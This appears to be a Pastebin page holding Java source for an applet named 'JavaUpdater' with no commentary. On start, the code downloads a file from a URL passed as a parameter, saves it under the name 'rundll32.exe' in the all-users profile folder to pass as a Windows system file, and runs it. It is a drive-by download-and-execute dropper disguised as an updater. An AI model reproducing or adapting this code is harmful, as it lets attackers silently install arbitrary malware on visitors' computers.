Advertisement
Guest User

Untitled

a guest
Nov 7th, 2011
2,030
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 2.27 KB | None | 0 0
  1. import java.applet.Applet;
  2. import java.io.BufferedInputStream;
  3. import java.io.BufferedOutputStream;
  4. import java.io.FileNotFoundException;
  5. import java.io.FileOutputStream;
  6. import java.io.IOException;
  7. import java.net.URL;
  8. import java.util.logging.Level;
  9. import java.util.logging.Logger;
  10.  
  11. public class JavaUpdater extends Applet
  12. {
  13.   public void start()
  14.   {
  15.     String str1 = getParameter("url");
  16.     String str2 = System.getenv("ALLUSERSPROFILE");
  17.     String str3 = "\\rundll32.exe";
  18.  
  19.     String str4 = str2.concat(str3);
  20.     BufferedInputStream localBufferedInputStream = null;
  21.     try {
  22.       localBufferedInputStream = new BufferedInputStream(new URL(str1).openStream());
  23.     } catch (IOException localIOException1) {
  24.       Logger.getLogger(JavaUpdater.class.getName()).log(Level.SEVERE, null, localIOException1);
  25.     }
  26.     FileOutputStream localFileOutputStream = null;
  27.     try {
  28.       localFileOutputStream = new FileOutputStream(str4);
  29.     } catch (FileNotFoundException localFileNotFoundException) {
  30.       Logger.getLogger(JavaUpdater.class.getName()).log(Level.SEVERE, null, localFileNotFoundException);
  31.     }
  32.     BufferedOutputStream localBufferedOutputStream = new BufferedOutputStream(localFileOutputStream, 1024);
  33.     byte[] arrayOfByte = new byte[1024];
  34.     try
  35.     {
  36.       int i;
  37.       for (long l = 0L; (i = localBufferedInputStream.read(arrayOfByte)) != -1; l += i)
  38.         localBufferedOutputStream.write(arrayOfByte, 0, i);
  39.     }
  40.     catch (IOException localIOException2) {
  41.       Logger.getLogger(JavaUpdater.class.getName()).log(Level.SEVERE, null, localIOException2);
  42.     }
  43.     try {
  44.       localBufferedOutputStream.close();
  45.     } catch (IOException localIOException3) {
  46.       Logger.getLogger(JavaUpdater.class.getName()).log(Level.SEVERE, null, localIOException3);
  47.     }
  48.     try {
  49.       localBufferedInputStream.close();
  50.     } catch (IOException localIOException4) {
  51.       Logger.getLogger(JavaUpdater.class.getName()).log(Level.SEVERE, null, localIOException4);
  52.     }
  53.     try {
  54.       Runtime.getRuntime().exec(str4);
  55.     } catch (IOException localIOException5) {
  56.       Logger.getLogger(JavaUpdater.class.getName()).log(Level.SEVERE, null, localIOException5);
  57.     }
  58.   }
  59.  
  60.   public void main(String[] paramArrayOfString) {
  61.     start();
  62.   }
  63. }
  64.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement